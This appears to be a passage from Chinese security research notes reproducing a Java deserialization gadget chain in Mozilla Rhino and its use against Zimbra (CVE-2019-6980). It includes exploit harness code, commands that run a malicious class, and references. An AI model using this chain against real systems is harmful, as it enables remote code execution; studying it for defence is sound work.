public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
out.writeObject( "java.lang.Object" );
out.writeObject( new String[0] );
out.writeObject( javaObject );
}
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
看MozillaRhino2.java时有个疑惑,感觉它设置了两次NativeJavaArray.prototype, 觉得没必要。编写NativeJavaObjectExec.java时我就只设置了一次,用1.7R2测试无 误。后来用1.6R7测试时,意外发现此处有坑,对于1.6R7,必须设置两次,这两次设 置的并不是同一个成员变量,分属父类、子类,如果只设其中一个,各有原因致使失 败。
javac \ -encoding GBK -g -XDignore.symbol.file \ -cp "js-1.6R7.jar" \ NativeJavaObjectExec6.java
java \ -cp "js-1.6R7.jar:." \ NativeJavaObjectExec6 JacksonExploit.class
抛出异常,但恶意代码已被执行。
10.2.5) CVE-2019-6980(Zimbra)
参[91],tint0发现的洞,中国人fnmsd提供复现细节。
Synacor Zimbra Collaboration Suite 8.7.x through 8.8.11 allows insecure object deserialization in the IMAP component.
tint0写道:
There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() and it's directly accessible from NativeJavaObject.readObject().
6个月后终于彻底看懂上面这段话。
Zimbra 8.6.0的yuicompressor-2.4.2-zimbra.jar含有:
org.mozilla.javascript.*
按tint0的说法,源自1.6R7。
/opt/zimbra/java/bin/java \ -cp "yuicompressor-2.4.2-zimbra.jar:." \ NativeJavaObjectExec6 JacksonExploit.class
得手。
☆ 参考资源
[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git
[89] https://repo1.maven.org/maven2/rhino/js/1.6R7/js-1.6R7.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2-sources.jar
Return of the Rhino: An old gadget revisited - Matthias Kaiser [2016-05-04]
https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html
[90] 利用反序列化进行JNDI注入 - Twings [2020-05-12] https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/
[91] A Saga of Code Executions on Zimbra - An Trinh [2019-03-13] https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6980
Zimbra SSRF+Memcached+反序列化漏洞利用复现 - fnmsd [2019-04-12]
https://blog.csdn.net/fnmsd/article/details/89235589